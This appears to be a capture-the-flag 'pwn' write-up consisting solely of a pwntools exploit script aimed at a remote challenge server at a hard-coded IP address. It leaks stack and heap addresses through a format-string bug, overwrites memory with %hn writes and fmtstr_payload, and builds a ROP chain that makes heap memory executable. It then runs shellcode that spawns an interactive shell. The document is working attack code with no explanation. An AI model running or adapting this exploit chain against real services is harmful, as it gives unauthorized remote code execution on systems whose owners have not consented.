Tags: pwn
Rating: 1.0
```
from pwn import *
context.arch = 'amd64'
p = remote('168.119.108.148', 10010)
printf = 0x410EE0
payload = b'faq'*158 + b'a'*4 + p64(printf)
p.sendlineafter('text:', payload)
payload = b'%12$p'
p.sendlineafter('text:', payload)
stack_leak = int(p.recvline(), 16)
vector_ptr = stack_leak - 0x140
info(hex(stack_leak))
info(hex(vector_ptr))
payload = b'%7$p'
p.sendlineafter('text:', payload)
heap_leak = int(p.recvline(), 16)
heap_base = heap_leak - 0x2bf0
info(hex(heap_leak))
info(hex(heap_base))
p.sendlineafter('text:', f'%{vector_ptr & 0xffff}c%12$hn')
payload = b'%47$hhn'
payload = payload.ljust(0x100, b'a')
payload += asm(shellcraft.sh())
payload = payload.ljust(0xf90, b'a')
payload += p64(printf) + p64(vector_ptr + 8) + p64(0x200)
p.sendlineafter('text:', payload)
payload = fmtstr_payload(8, {0x4C9098: 0x42A0E5})
p.sendlineafter('text:', payload)
pop_rdi = 0x00000000004018da
pop_rsi = 0x0000000000404cfe
pop_rdx = 0x00000000004017df
ret = pop_rdi + 1
payload = p64(0)
payload += p64(pop_rdi)
payload += p64((heap_leak - 0x1000) & ~0xfff)
payload += p64(pop_rsi)
payload += p64(0x21000)
payload += p64(pop_rdx)
payload += p64(0x7)
payload += p64(0x45AC90)
payload += p64(heap_leak - 0xf10)
p.sendlineafter('text:', payload)
p.sendline()
p.interactive()
```